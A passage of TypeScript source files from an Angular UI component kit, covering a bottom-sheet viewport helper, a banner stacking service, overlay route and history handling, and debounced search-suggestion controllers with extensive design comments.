sheet.\n   */\n  readonly maxWidth?: number;\n  /**\n   * Also require a pointer that cannot hover. @default false\n   *\n   * ★ Off by default because a NARROW WINDOW ON A DESKTOP has the same problem\n   *   — there is no room beside the anchor either way. Turn it on for a\n   *   surface whose sheet form is really about the finger rather than the\n   *   width.\n   */\n  readonly requireTouch?: boolean;\n  /** Read on every evaluation, so a host can turn the fallback off entirely. */\n  readonly enabled?: () => boolean;\n}\n\n/** A live sheet-mode subscription. */\nexport interface SvSheetMode {\n  /** True when this surface should render as a bottom sheet. */\n  readonly asSheet: Signal<boolean>;\n  /**\n   * Pixels of the viewport currently hidden by the virtual keyboard.\n   *\n   * ★★★ A SHEET WITH A FIELD IN IT IS COVERED BY THE KEYBOARD THAT FIELD JUST\n   *     RAISED, and `window.innerHeight` does not change when it appears — so\n   *     `bottom: 0` is behind the keyboard, and the input the user tapped is\n   *     the part that is hidden. Bind this to the sheet's `bottom` and it sits\n   *     on top of the keyboard instead.\n   *\n   * `0` where `visualViewport` is unavailable, which is the desktop answer and\n   * the safe one.\n   */\n  readonly keyboardInset: Signal<number>;\n  /** Stop listening. Idempotent. Called for you on destroy. */\n  release(): void;\n}\n\n/**\n * The bottom padding a sheet needs so its last row clears the home indicator.\n *\n * ★★ `env()` WITH A FALLBACK, and the fallback is the point: `env()` resolves\n *    to nothing at all in a browser that does not know the variable, and\n *    `padding-bottom:` with nothing after it is a dropped declaration rather\n *    than a zero — so the whole rule silently disappears, which is the shape\n *    that ships looking fine on the developer's desktop.\n *\n * ★ It ALSO needs `viewport-fit=cover` in the host's `<meta name=\"viewport\">`,\n *   without which the browser reports a zero inset on a notched device. That\n *   is the host's document, not ours, so it is documentation rather than code.\n */\nexport const SV_SHEET_SAFE_AREA_PADDING = 'env(safe-area-inset-bottom, 0px)';\n\n/**\n * Watch the viewport for sheet mode.\n *\n * Must be called in an injection context: it takes a `DestroyRef` so a host\n * cannot forget to unsubscribe.\n */\nexport function createSheetMode(options: SvSheetModeOptions = {}): SvSheetMode {\n  const maxWidth = options.maxWidth ?? 640;\n  const requireTouch = options.requireTouch ?? false;\n  const enabled = options.enabled ?? (() => true);\n\n  const narrow = signal(false);\n  const noHover = signal(false);\n  const keyboardInset = signal(0);\n  const stops: (() => void)[] = [];\n\n  const hasWindow = typeof window !== 'undefined' && typeof window.matchMedia === 'function';\n\n  if (hasWindow) {\n    // ★ `(max-width: Npx)` rather than reading `innerWidth` once: a phone\n    //   rotating changes width without any scroll or resize the component sees\n    //   otherwise, and a desktop window is dragged narrow all the time.\n    const widthMql = window.matchMedia(`(max-width: ${maxWidth}px)`);\n    narrow.set(widthMql.matches);\n    const onWidth = (e: MediaQueryListEvent): void => narrow.set(e.matches);\n    widthMql.addEventListener('change', onWidth);\n    stops.push(() => widthMql.removeEventListener('change', onWidth));\n\n    const hoverMql = window.matchMedia('(hover: none)');\n    noHover.set(hoverMql.matches);\n    const onHover = (e: MediaQueryListEvent): void => noHover.set(e.matches);\n    hoverMql.addEventListener('change', onHover);\n    stops.push(() => hoverMql.removeEventListener('change', onHover));\n\n    const vv = window.visualViewport;\n    if (vv) {\n      const measure = (): void => {\n        // ★★ THE FORMULA IS NOT `innerHeight - vv.height`. On iOS the page\n        //    scrolls under the keyboard, so `vv.offsetTop` is how far the\n        //    visual viewport has moved down the layout viewport — and ignoring\n        //    it reports a keyboard that is taller than it is the moment the\n        //    user scrolls, pushing the sheet off the top of the screen.\n        const hidden = window.innerHeight - (vv.height + vv.offsetTop);\n        // Negative readings happen mid-animation on Android.\n        keyboardInset.set(Math.max(0, Math.round(hidden)));\n      };\n      measure();\n      vv.addEventListener('resize', measure);\n      vv.addEventListener('scroll', measure);\n      stops.push(() => {\n        vv.removeEventListener('resize', measure);\n        vv.removeEventListener('scroll', measure);\n      });\n    }\n  }\n\n  const release = (): void => {\n    while (stops.length) stops.pop()!();\n  };\n\n  // ★ A `DestroyRef` rather than asking the caller to call `release()`: an\n  //   overlay that forgets leaves two media-query listeners and two\n  //   visualViewport listeners per instance, and overlays are created per row.\n  inject(DestroyRef).onDestroy(release);\n\n  return {\n    asSheet: computed(\n      () => enabled() && narrow() && (!requireTouch || noHover()),\n    ),\n    keyboardInset: computed(() => keyboardInset()),\n    release,\n  };\n}\n","import { Injectable, computed, signal, type Signal } from '@angular/core';\n\n/**\n * Where a banner is pinned. `inline` banners never register — they are in the\n * document flow and cannot collide.\n */\nexport type SvBannerSlot = 'top-fixed' | 'bottom-fixed' | 'top-sticky';\n\n/** What a banner tells the stack about itself. */\nexport interface SvBannerRegistration {\n  /** Which edge it is pinned to. */\n  readonly slot: SvBannerSlot;\n  /**\n   * Higher wins the edge. Equal priorities keep registration order.\n   *\n   * ★ A number rather than a `'low' | 'high'` union: an app's fourth banner is\n   *   always the one that has to go between two of the first three.\n   */\n  readonly priority: number;\n  /** Identity for suppression, or `null` to never suppress (`OF-01-M2`). */\n  readonly dedupeKey: string | null;\n}\n\nexport interface SvBannerHandle {\n  /** Slot-relative order, 0 = against the edge. -1 while suppressed. */\n  readonly index: Signal<number>;\n  /** Pixels from the edge: the summed height of the banners before this one. */\n  readonly offset: Signal<number>;\n  /**\n   * True when an identical banner (same `dedupeKey`, same slot) registered\n   * first. A suppressed banner renders nothing.\n   */\n  readonly suppressed: Signal<boolean>;\n  /** Report this banner's rendered height so the ones after it can be placed. */\n  measured(height: number): void;\n  /**\n   * Leave the stack.\n   *\n   * ★ Idempotent because the removal IS a filter by id, not because anything\n   *   remembers having been called. A `released` flag was written here first\n   *   and no mutation could tell it from its absence — a second filter for an\n   *   id nothing holds removes nothing — so it went, like the same flag in\n   *   `SvOverlayRouteService`.\n   */\n  release(): void;\n}\n\ninterface Entry {\n  readonly id: number;\n  readonly reg: SvBannerRegistration;\n  readonly height: ReturnType<typeof signal<number>>;\n}\n\nlet _seq = 0;\n\n/** Separator for the slot-scoped dedupe key: a NUL, which no message contains. */\nconst KEY_SEP = '\\x00';\n\n/**\n * SvBannerStackService — who gets the edge, and how far down the next one sits\n * (`X-12`, `OF-01-I1`, `OF-01-M1`, `OF-01-M2`).\n *\n * ── The finding ─────────────────────────────────────────────────────────────\n *\n * ★★★ TWO `top-fixed` BANNERS GOT BYTE-IDENTICAL `fixed top-0 left-0 right-0\n *     z-50`, SO ONE WAS SIMPLY NEVER SEEN. Not clipped, not below the fold —\n *     painted underneath the other, in the same place, with nothing to suggest\n *     a second message existed. The dangerous shape is the ordinary one: a\n *     shell renders a maintenance notice and a route renders a trial-expiry\n *     notice, neither knowing about the other.\n *\n * ── Why a service rather than a container component ─────────────────────────\n *\n * ★★ THE BANNERS DO NOT SHARE A PARENT, and that is the whole problem. They\n *    are rendered by whoever has the message — a shell, a route, a lazily\n *    loaded panel — so a wrapper component would coordinate only the ones a\n *    single author remembered to put inside it. A root service is reachable\n *    from all of them and needs no cooperation from the tree.\n *\n * ★ Nothing registers unless it is pinned. An `inline` banner is in the\n *   document flow: it cannot overlap anything, and giving it a slot would make\n *   it push a fixed banner down for no reason.\n */\n@Injectable({ providedIn: 'root' })\nexport class SvBannerStackService {\n  private readonly _entries = signal<readonly Entry[]>([]);\n\n  /**\n   * The entries actually shown, in paint order.\n   *\n   * ★★ SUPPRESSION IS DECIDED HERE AND NOT BY THE BANNER, because it depends\n   *    on what else is on screen. The FIRST registration with a key keeps the\n   *    slot; later identical ones render nothing — first rather than last for\n   *    the same reason a deduplicated toast keeps its place: the user may\n   *    already be reading it, or acting on it.\n   */\n  private readonly _visible = computed<readonly Entry[]>(() => {\n    const seen = new Set<string>();\n    const kept: Entry[] = [];\n    for (const entry of this._entries()) {\n      const key = entry.reg.dedupeKey;\n      if (key !== null) {\n        const scoped = entry.reg.slot + KEY_SEP + key;\n        if (seen.has(scoped)) continue;\n        seen.add(scoped);\n      }\n      kept.push(entry);\n    }\n    // ★ A STABLE sort by priority, so equal priorities keep registration order\n    //   — otherwise two banners of equal weight swap places whenever a third\n    //   arrives, which reads as the page glitching. `Array.prototype.sort` is\n    //   specified as stable, so this is the whole implementation.\n    return [...kept].sort((a, b) => b.reg.priority - a.reg.priority);\n  });\n\n  /** How many banners are visible in a slot. */\n  visibleCount(slot: SvBannerSlot): number {\n    return this._visible().filter((e) => e.reg.slot === slot).length;\n  }\n\n  register(reg: SvBannerRegistration): SvBannerHandle {\n    const entry: Entry = { id: ++_seq, reg, height: signal(0) };\n    this._entries.update((list) => [...list, entry]);\n\n    const ownSlot = computed(() => this._visible().filter((e) => e.reg.slot === reg.slot));\n    const index = computed(() => ownSlot().findIndex((e) => e.id === entry.id));\n\n    return {\n      index,\n      suppressed: computed(() => index() === -1),\n      offset: computed(() => {\n        const group = ownSlot();\n        const at = index();\n        if (at <= 0) return 0;\n        // ★ Heights are REPORTED, not measured here. This service has no\n        //   element and no business touching the DOM; a banner knows its own\n        //   height and says so. An unreported height is 0, which stacks them\n        //   again — honest, because the alternative is inventing a number and\n        //   leaving a gap where no banner is.\n        return group.slice(0, at).reduce((sum, e) => sum + e.height(), 0);\n      }),\n      measured: (height: number) => entry.height.set(Math.max(0, height)),\n      release: () => {\n        this._entries.update((list) => list.filter((e) => e.id !== entry.id));\n      },\n    };\n  }\n}\n","import { Injectable, inject, PLATFORM_ID } from '@angular/core';\nimport { isPlatformBrowser } from '@angular/common';\nimport type { SvCloseReason } from './close-guard';\n\n/**\n * What a dismissible surface tells this service about itself.\n *\n * Both flags are getters, so a component can hand over its own inputs and a\n * host can change its mind while the surface is open.\n */\nexport interface SvRouteAwareOptions {\n  /** Close the surface. The reason is `'route'` or `'history'`. */\n  readonly close: (reason: SvCloseReason) => void;\n  /**\n   * Does a navigation close it?\n   *\n   * ★★ THE DEFAULT IS YES, AND THE AUDIT IS BLUNT ABOUT WHY: a modal that\n   *    outlives its route and floats over an unrelated page is the most\n   *    common overlay bug in shipped dashboards. A surface that genuinely\n   *    belongs to the shell rather than the page — a global command palette,\n   *    a support widget — says so by returning false.\n   */\n  readonly closeOnNavigation?: () => boolean;\n  /**\n   * Does the browser Back button close it?\n   *\n   * ★★ THE DEFAULT IS NO, AND THAT IS THE OPPOSITE DECISION FROM THE ONE\n   *    ABOVE. Back closing a dialog is right when the dialog is a\n   *    destination the user navigated TO — a details panel, a wizard step —\n   *    and wrong when it is a transient question, where it would eat a Back\n   *    press the user meant for the page. Opting in is a statement about what\n   *    the surface IS, so the surface cannot make it for the host.\n   */\n  readonly backCloses?: () => boolean;\n  /** For diagnostics only. */\n  readonly label?: string;\n  /**\n   * Does the surface hold unsaved work right now? Consulted by `requestLeave`.\n   * Optional: a surface without it is never asked to hold a navigation.\n   */\n  readonly dirty?: () => boolean;\n  /**\n   * A navigation wants to leave the page this surface belongs to, and the\n   * surface is dirty. Raise the surface's own unsaved-changes prompt and\n   * return `true` to hold the navigation; call `proceed` once the user chose\n   * to discard (after starting the close). Return `false` to let it through.\n   *\n   * ★ Optional and additive — it is what `svOverlayCanDeactivate` in\n   *   `@styloviz/layout` calls, so core itself never touches the router.\n   */\n  readonly requestLeave?: (proceed: () => void) => boolean;\n}\n\nexport interface SvRouteAwareHandle {\n  /**\n   * The surface closed. Call it on every close path, including the ones this\n   * service triggered.\n   *\n   * ★ It is what pops the history entry a `backCloses` surface pushed — a\n   *   dialog closed with its own × button must not leave the user one Back\n   *   press away from reopening it.\n   */\n  release(): void;\n}\n\n/** Marker key on `history.state`, namespaced so a host's own state survives. */\nconst SV_HISTORY_KEY = '__svOverlay';\n\ninterface Entry {\n  readonly id: number;\n  readonly options: SvRouteAwareOptions;\n  /** Token written into `history.state`, or `null` when none was pushed. */\n  readonly token: number | null;\n  /** True once this surface has been closed BY a navigation or a Back press. */\n  closedByHistory: boolean;\n  released: boolean;\n  /** True once the user discarded to let a held navigation through. */\n  leaving?: boolean;\n}\n\n/**\n * Route and history integration for dismissible surfaces (`X-13`).\n *\n * ── Why this service and not `inject(Router)` in each component ─────────────\n *\n * ★★★ `@styloviz/core` DOES NOT DEPEND ON `@angular/router`, AND MUST NOT.\n *     Core is the base every other package builds on, including in apps that\n *     never route; a hard peer on the router to answer \"did we navigate?\"\n *     would be the tail wagging the dog. So the service owns the POLICY and\n *     the history plumbing, which need no router at all, and takes the one\n *     fact it cannot observe — that a navigation happened — as a call.\n *\n * ★★ `provideSvOverlayRouteClose()` in `@styloviz/layout` is the router half:\n *     three lines subscribing to `NavigationEnd`. Layout already has the\n *     router as a peer and is where an app's shell lives. An app that wires\n *     nothing keeps today's behaviour exactly, which is why this is safe to\n *     land in a published kit.\n *\n * ★ The Back button needs no router either: an overlay that wants Back to\n *   close it pushes a marked history entry and listens for `popstate`. That\n *   is the whole mechanism, and it is why `backCloses` works with any router\n *   or none.\n */\n@Injectable({ providedIn: 'root' })\nexport class SvOverlayRouteService {\n  private readonly _platformId = inject(PLATFORM_ID);\n  private readonly _entries: Entry[] = [];\n  private _nextId = 1;\n  /**\n   * How many `popstate` events this service caused itself.\n   *\n   * ★★ WITHOUT THIS THE SERVICE CLOSES SURFACES IT IS ALREADY CLOSING. A\n   *    surface that pops its own entry on `release()` gets the `popstate`\n   *    back a moment later, sees a state without its marker, and calls\n   *    `close()` a second time — which for a family that emits `dismissed` on\n   *    close means two dismissals for one action.\n   */\n  private _selfPops = 0;\n  private _listening = false;\n\n  /** Register an open surface. Release the handle when it closes. */\n  register(options: SvRouteAwareOptions): SvRouteAwareHandle {\n    const browser = isPlatformBrowser(this._platformId) && typeof window !== 'undefined';\n    const wantsHistory = browser && (options.backCloses?.() ?? false);\n\n    const id = this._nextId++;\n    let token: number | null = null;\n\n    if (wantsHistory) {\n      token = id;\n      // ★ The host's own state is preserved and the URL is untouched: this is\n      //   a history ENTRY, not a route. A surface that wanted its own URL\n      //   would be a page, and `X-13` is explicit that routing overlays is\n      //   the host's decision, not the kit's.\n      window.history.pushState(\n        { ...(window.history.state as object | null), [SV_HISTORY_KEY]: token },\n        '',\n      );\n    }\n\n    const entry: Entry = { id, options, token, closedByHistory: false, released: false };\n    this._entries.push(entry);\n    if (browser) this._listen();\n\n    return {\n      release: (): void => this._release(entry),\n    };\n  }\n\n  /**\n   * The application navigated. Closes every surface that says a navigation\n   * should close it.\n   *\n   * ★ Iterates a SNAPSHOT: `close()` normally leads straight to `release()`,\n   *   which mutates the list being walked.\n   */\n  /**\n   * A navigation is about to leave the page: does an open, dirty surface want\n   * to hold it? Returns `true` when one raised its unsaved-changes prompt (the\n   * caller cancels the navigation); `proceed` re-issues it after Discard.\n   * Keep editing simply never calls it. Topmost surface first.\n   *\n   * ★★ WITHOUT THIS THE PROMPT ARRIVED TOO LATE: `navigated()` runs on\n   *    `NavigationEnd`, so a dirty dialog asked \"discard?\" over a page the user\n   *    had already been taken to, and Keep editing kept a form about a page\n   *    that was gone. Used by `svOverlayCanDeactivate` (`@styloviz/layout`).\n   */\n  requestLeave(proceed: () => void): boolean {\n    for (const entry of [...this._entries].reverse()) {\n      if (entry.released || entry.leaving || !entry.options.requestLeave) continue;\n      if (!(entry.options.closeOnNavigation?.() ?? true)) continue;\n      if (!(entry.options.dirty?.() ?? false)) continue;\n      const held = entry.options.requestLeave(() => {\n        // ★ The navigation about to be re-issued supersedes this surface's\n        //   history entry: popping it now would race the new navigation and\n        //   the router would read the pop as a Back press.\n        entry.leaving = true;\n        entry.closedByHistory = true;\n        proceed();\n      });\n      if (held) return true;\n    }\n    return false;\n  }\n\n  navigated(): void {\n    // ★ No `released` check in this loop, nor in the `popstate` one: release\n    //   SPLICES the entry out, so a released surface is not in the list to\n    //   begin with. I wrote the check in both places, a mutation deleting it\n    //   stayed green in both, and the flag now earns its keep only inside\n    //   `_release`, where it stops a second release popping a second entry.\n    for (const entry of [...this._entries]) {\n      if (!(entry.options.closeOnNavigation?.() ?? true)) continue;\n      // ★ Marked BEFORE the close, because the close calls back into\n      //   `release()` synchronously — and `release()` has to know not to pop a\n      //   history entry the navigation has already left behind.\n      entry.closedByHistory = true;\n      entry.options.close('route');\n    }\n  }\n\n  /** Test seam: how many surfaces are currently registered. */\n  get openCount(): number {\n    return this._entries.filter((e) => !e.released).length;\n  }\n\n  private _release(entry: Entry): void {\n    if (entry.released) return;\n    entry.released = true;\n    const index = this._entries.indexOf(entry);\n    if (index >= 0) this._entries.splice(index, 1);\n\n    if (entry.token === null) return;\n    if (entry.closedByHistory) return;\n    if (typeof window === 'undefined') return;\n\n    // ★★ ONLY IF OUR ENTRY IS STILL THE CURRENT ONE. The user may have\n    //    navigated three pages on since; calling `back()` then would take\n    //    them somewhere they never asked to go, which is a far worse bug than\n    //    a stale history entry.\n    const state = window.history.state as Record<string, unknown> | null;\n    if (state?.[SV_HISTORY_KEY] !== entry.token) return;\n\n    this._selfPops++;\n    window.history.back();\n  }\n\n  private _listen(): void {\n    if (this._listening) return;\n    this._listening = true;\n    window.addEventListener('popstate', this._onPopState);\n  }\n\n  private readonly _onPopState = (): void => {\n    if (this._selfPops > 0) {\n      this._selfPops--;\n      return;\n    }\n\n    const state = window.history.state as Record<string, unknown> | null;\n    const marker = state?.[SV_HISTORY_KEY];\n\n    // Topmost first: a Back press dismisses the surface the user opened last.\n    for (const entry of [...this._entries].reverse()) {\n      if (entry.token === null) continue;\n      if (marker === entry.token) break;   // its entry is still there\n      entry.closedByHistory = true;\n      entry.options.close('history');\n      break;                               // one Back press, one surface\n    }\n  };\n}\n","import {\n  DestroyRef,\n  PendingTasks,\n  computed,\n  inject,\n  signal,\n  untracked,\n  type Signal,\n} from '@angular/core';\nimport { createRequestGuard } from './request-guard';\nimport { toSvDataError } from './errors';\nimport type { SvDataError, SvEmptyReason } from './types';\n\n/**\n * A function that turns what the user has typed into a list of suggestions.\n *\n * Promise + `AbortSignal`, matching {@link SvDataSource} and every other\n * transport contract in the kit. The `signal` aborts the moment a newer\n * keystroke supersedes this one — honour it, because a picker fires a request\n * per word and the ones nobody is waiting for are pure cost.\n */\nexport type SvSuggestSource<T> = (term: string, signal: AbortSignal) => Promise<readonly T[]>;\n\n/** Tuning for {@link svSuggestController}. */\nexport interface SvSuggestControllerOptions {\n  /**\n   * Wait this long after the last keystroke before fetching. Accepts a signal,\n   * so a component can pass its own `debounceMs` input straight through.\n   *\n   * 300ms matches `search-bar`, `autocomplete` and every Phase 2 picker.\n   * @default 300\n   */\n  readonly debounceMs?: number | Signal<number>;\n\n  /**\n   * Do not fetch until the term is at least this long.\n   *\n   * Below it the controller reports `tooShort` and holds no options — which is\n   * a *different* state from \"we searched and found nothing\", and the reason\n   * `emptyReason` exists.\n   * @default 0\n   */\n  readonly minChars?: number | Signal<number>;\n\n  /**\n   * Keep the previous suggestions visible while the next set loads.\n   *\n   * On by default, and this is the option `stale` exists to make honest: the\n   * list stays put, `stale` goes true, and the panel dims rather than\n   * collapsing under the user's cursor. Turn it off and every keystroke blanks\n   * the panel — measurably the most disliked behaviour a combobox has.\n   * @default true\n   */\n  readonly keepPreviousData?: boolean;\n}\n\n/**\n * The headless engine behind a server-backed picker: a term in, a list of\n * suggestions out, with the request lifecycle handled once.\n *\n * @see svSuggestController\n */\nexport interface SvSuggestController<T> {\n  // ── Bind these to the component ──────────────────────────────────────────\n  /** The suggestions to render. */\n  readonly options: Signal<readonly T[]>;\n  /** True while a request is in flight. Bind to the component's `loading`. */\n  readonly loading: Signal<boolean>;\n  /**\n   * True while a request is in flight **and** an earlier one has already been\n   * applied — the options on screen answer an older term.\n   *\n   * Render it *after* `error` and *before* `loading`: a first fetch is a\n   * skeleton, a refinement is a dimmed list, and a retry after a failure is an\n   * error. Collapsing the three into one boolean is what makes a combobox feel\n   * like it is fighting the user.\n   */\n  readonly stale: Signal<boolean>;\n  /** The last failure, or `null`. Already normalized for `<sv-error-shell>`. */\n  readonly error: Signal<SvDataError | null>;\n  /** The term the visible options actually answer — not the one being typed. */\n  readonly term: Signal<string>;\n  /** What the user has typed, un-debounced. */\n  readonly typed: Signal<string>;\n  /** True between a keystroke and the debounce settling. */\n  readonly typing: Signal<boolean>;\n  /** True when the term is shorter than `minChars`, so nothing was fetched. */\n  readonly tooShort: Signal<boolean>;\n  /**\n   * Why the list is empty, or `null` when it is not.\n   *\n   * `no-results` once a search has answered with nothing; `no-data` for the\n   * opening state, where the right copy is \"start typing\" rather than \"no\n   * matches\". Never non-null while a first load is in flight.\n   */\n  readonly emptyReason: Signal<SvEmptyReason | null>;\n\n  // ── Call these from the component's outputs ──────────────────────────────\n  /** Record a keystroke — wire to `(queryChange)` / `(searched)`. */\n  search(term: string): void;\n  /** Search now, skipping the debounce. For Enter, and for opening the panel. */\n  flush(): void;\n  /** Re-run the settled term immediately — wire to `(retry)`. */\n  reload(): void;\n  /**\n   * Abandon anything in flight without clearing what is on screen.\n   *\n   * Call it when the panel closes. A picker that keeps fetching for a dropdown\n   * nobody can see is the same waste as a superseded request, and the response\n   * would land against a closed panel.\n   */\n  cancel(): void;\n  /** Back to the opening state: no term, no options, no error. */\n  clear(): void;\n}\n\n/**\n * Wire a Styloviz picker to a search endpoint in five lines.\n *\n * ```ts\n * readonly people = svSuggestController<Person>(\n *   (term, signal) => fetch(`/api/people?q=${encodeURIComponent(term)}`, { signal })\n *     .then((r) => r.json()),\n *   { minChars: 2 },\n * );\n * ```\n * ```html\n * <sv-autocomplete\n *   [options]=\"people.options()\"  [loading]=\"people.loading()\"\n *   [stale]=\"people.stale()\"      [error]=\"people.error()\"\n *   (inputChange)=\"people.search($event)\" />\n * ```\n *\n * The page-shaped sibling is {@link svDataController} — use that for a table or\n * a list that pages, sorts and filters. This one is for the term → options\n * shape every combobox in the kit has, where there is no page, no sort, and the\n * only query is a string.\n *\n * What it does that a hand-rolled `subscribe` does not:\n *\n * - **Debounces** keystrokes, so typing five characters is one request.\n * - **Guards** responses, so a slow answer to an abandoned term cannot\n *   overwrite a newer one — the bug that makes a combobox show suggestions for\n *   what the user typed two keystrokes ago, and that looks correct in review.\n * - **Aborts** the superseded request rather than just ignoring it.\n * - **Distinguishes** \"loading the first time\" from \"refining what is already\n *   there\" (`stale`), and \"found nothing\" from \"not asked yet\" (`emptyReason`).\n *\n * There is deliberately **no retry policy**. A table's user is waiting and has\n * nothing else to do, so backoff is right there; a picker's user has a\n * keyboard, and their next keystroke is a better retry than anything a timer\n * can schedule. Expose `error` and let `reload()` be the deliberate one. Wrap\n * the source yourself if your endpoint genuinely needs backoff.\n *\n * Nothing in the kit depends on this: components stay headless and this is\n * sugar. It needs an injection context for `DestroyRef` (a field initializer is\n * one); pass `destroyRef` if you are calling it from somewhere else.\n */\nexport function svSuggestController<T>(\n  source: SvSuggestSource<T>,\n  options: SvSuggestControllerOptions & {\n    destroyRef?: DestroyRef;\n    pendingTasks?: PendingTasks;\n  } = {},\n): SvSuggestController<T> {\n  const {\n    debounceMs = 300,\n    minChars = 0,\n    keepPreviousData = true,\n    destroyRef = inject(DestroyRef),\n    pendingTasks = inject(PendingTasks),\n  } = options;\n\n  const readOption = (v: number | Signal<number>): number => {\n    const n = typeof v === 'number' ? v : v();\n    return Number.isFinite(n) && n > 0 ? n : 0;\n  };\n  const delayOf = (): number => readOption(debounceMs);\n  const minCharsOf = (): number => readOption(minChars);\n\n  const typed = signal('');\n  const items = signal<readonly T[]>([]);\n  const error = signal<SvDataError | null>(null);\n  /** The term the visible options answer. `null` until one has landed. */\n  const applied = signal<string | null>(null);\n  /** True between a keystroke and the debounce elapsing. */\n  const armed = signal(false);\n\n  const guard = createRequestGuard();\n  let timer: ReturnType<typeof setTimeout> | null = null;\n  let destroyed = false;\n\n  const clearTimer = (): void => {\n    if (timer !== null) {\n      clearTimeout(timer);\n      timer = null;\n    }\n    armed.set(false);\n  };\n\n  const fetchOnce = async (target: string): Promise<void> => {\n    const req = guard.start();\n    try {\n      const next = await source(target, req.signal);\n      if (!req.settle()) return;\n      items.set(next);\n      applied.set(target);\n      error.set(null);\n    } catch (cause) {\n      // A superseded request is not a failure the user should ever see: its\n      // rejection is this controller's own abort, arriving after the answer\n      // that replaced it.\n      if (req.signal.aborted || destroyed) return;\n      if (!req.settle()) return;\n      error.set(toSvDataError(cause));\n      // The options stay: they answered the last term that *worked*, and\n      // blanking the panel on a transient 503 takes away the only thing the\n      // user can still act on.\n      if (!keepPreviousData) items.set([]);\n    }\n  };\n\n  /**\n   * ★★ A fetch in flight blocks application stability — the same reason\n   * `svDataController` registers its own. Without it `whenStable()` resolves\n   * while the request is still on the wire, and a server render serialises an\n   * empty panel.\n   */\n  const run = async (target: string): Promise<void> => {\n    const done = pendingTasks.add();\n    try {\n      await fetchOnce(target);\n    } finally {\n      done();\n    }\n  };\n\n  /** Below `minChars` there is nothing to ask for, and nothing to show. */\n  const holdBack = (): void => {\n    guard.cancel();\n    error.set(null);\n    items.set([]);\n    applied.set(null);\n  };\n\n  const dispatch = (target: string): void => {\n    if (destroyed) return;\n    if (target.length < minCharsOf()) {\n      holdBack();\n      return;\n    }\n    void run(target);\n  };\n\n  const schedule = (target: string, delay: number): void => {\n    clearTimer();\n    if (delay <= 0) {\n      dispatch(target);\n      return;\n    }\n    armed.set(true);\n    timer = setTimeout(() => {\n      timer = null;\n      armed.set(false);\n      dispatch(target);\n    }, delay);\n  };\n\n  destroyRef.onDestroy(() => {\n    destroyed = true;\n    clearTimer();\n    guard.cancel();\n  });\n\n  return {\n    options: items.asReadonly(),\n    loading: guard.pending,\n    stale: guard.stale,\n    error: error.asReadonly(),\n    term: computed(() => applied() ?? ''),\n    typed: typed.asReadonly(),\n    typing: armed.asReadonly(),\n    tooShort: computed(() => typed().length < minCharsOf()),\n\n    // Reads `applied`, not the typed term: while a search is in flight the\n    // panel answers the *old* term, and calling it \"no matches\" before the\n    // answer lands is a lie either way it resolves.\n    emptyReason: computed(() => {\n      if (items().length > 0) return null;\n      if (guard.pending()) return null;\n      return applied() === null ? 'no-data' : 'no-results';\n    }),\n\n    search: (term: string) => {\n      typed.set(term);\n      // Below the threshold there is nothing to wait for: drop the timer and\n      // the options now, rather than after a delay that can only end one way.\n      if (term.length < minCharsOf()) {\n        clearTimer();\n        holdBack();\n        return;\n      }\n      schedule(term, delayOf());\n    },\n\n    // Enter, and opening the panel: waiting 300ms after a deliberate act is\n    // what makes a picker feel broken.\n    flush: () => {\n      clearTimer();\n      dispatch(untracked(typed));\n    },\n\n    reload: () => {\n      error.set(null);\n      clearTimer();\n      dispatch(untracked(typed));\n    },\n\n    cancel: () => {\n      clearTimer();\n      guard.cancel();\n    },\n\n    clear: () => {\n      clearTimer();\n      guard.cancel();\n      typed.set('');\n      items.set([]);\n      applied.set(null);\n      error.set(null);\n    },\n  };\n}\n","import {\n  DestroyRef,\n  PendingTasks,\n  computed,\n  inject,\n  signal,\n  untracked,\n  type Signal,\n} from '@angular/core';\nimport { createRequestGuard } from './request-guard';\nimport { svSuggestController } from './suggest-controller';\nimport { toSvDataError } from './errors';\nimport type { SvDataError } from './types';\n\n/** Which slice of the answer a {@link SvSelectSourceSearch} call is for. */\nexport interface SvSelectSourcePageRequest {\n  /** Rows already loaded for this term — the index of the first row wanted. */\n  readonly offset: number;\n  /** Rows wanted; `0` when the source is not paged. */\n  readonly limit: number;\n}\n\n/** One page of an answer, when the server can say whether there is more. */\nexport interface SvSelectSourcePage<T> {\n  readonly items: readonly T[];\n  /**\n   * More rows exist for this term. Omit it and a page that came back full\n   * (`items.length >= pageSize`) is taken to mean \"there may be more\".\n   */\n  readonly hasMore?: boolean;\n}\n\n/**\n * The server call behind a select. Return the rows, or a page that also says\n * whether more exist. Honour `signal`: it aborts the moment a newer term\n * supersedes this one.\n */\nexport type SvSelectSourceSearch<T> = (\n  term: string,\n  signal: AbortSignal,\n  page: SvSelectSourcePageRequest,\n) => Promise<readonly T[] | SvSelectSourcePage<T>>;\n\n/** Options for {@link svSelectSource}. */\nexport interface SvSelectSourceOptions<T> {\n  /** The server call. */\n  readonly search: SvSelectSourceSearch<T>;\n  /**\n   * Rows per page. `0` means the call returns the whole answer for a term and\n   * there is no \"Load more\".\n   * @default 0\n   */\n  readonly pageSize?: number;\n  /**\n   * Characters required before a term is searched. Applied by the consuming\n   * select, which also renders the \"type N characters\" hint; `undefined` leaves\n   * the select's own setting in force.\n   */\n  readonly minChars?: number;\n  /**\n   * Keystroke debounce in ms. Applied by the consuming select — which already\n   * debounces its search box, and debouncing a second time here would make a\n   * 300 ms picker answer in 600. `undefined` leaves the select's own setting.\n   */\n  readonly debounceMs?: number;\n  /** Needed only outside an injection context. */\n  readonly destroyRef?: DestroyRef;\n  /** Needed only outside an injection context. */\n  readonly pendingTasks?: PendingTasks;\n}\n\n/**\n * Search, paging and async state for one select, as one object.\n *\n * @see svSelectSource\n */\nexport interface SvSelectSource<T> {\n  /** Every row loaded for the current term, pages appended in order. */\n  readonly options: Signal<readonly T[]>;\n  /** The first page for a term is in flight. */\n  readonly loading: Signal<boolean>;\n  /** The rows on screen answer an older term; a newer one is in flight. */\n  readonly stale: Signal<boolean>;\n  /** The last failure — of the search or of a \"Load more\" — or `null`. */\n  readonly error: Signal<SvDataError | null>;\n  /** More rows exist for the current term. */\n  readonly hasMore: Signal<boolean>;\n  /** A \"Load more\" is in flight. */\n  readonly loadingMore: Signal<boolean>;\n  /** The term the visible rows answer. */\n  readonly term: Signal<string>;\n  /** See {@link SvSelectSourceOptions.minChars}. */\n  readonly minChars: number | undefined;\n  /** See {@link SvSelectSourceOptions.debounceMs}. */\n  readonly debounceMs: number | undefined;\n\n  /** Fetch the first page for `term` now. The select calls this debounced. */\n  search(term: string): void;\n  /**\n   * The panel opened with `term` in the box: fetch unless the rows on screen\n   * already answer it.\n   */\n  open(term: string): void;\n  /** Fetch and append the next page. No-op when there is none, or one is in flight. */\n  loadMore(): void;\n  /** Retry whatever failed — 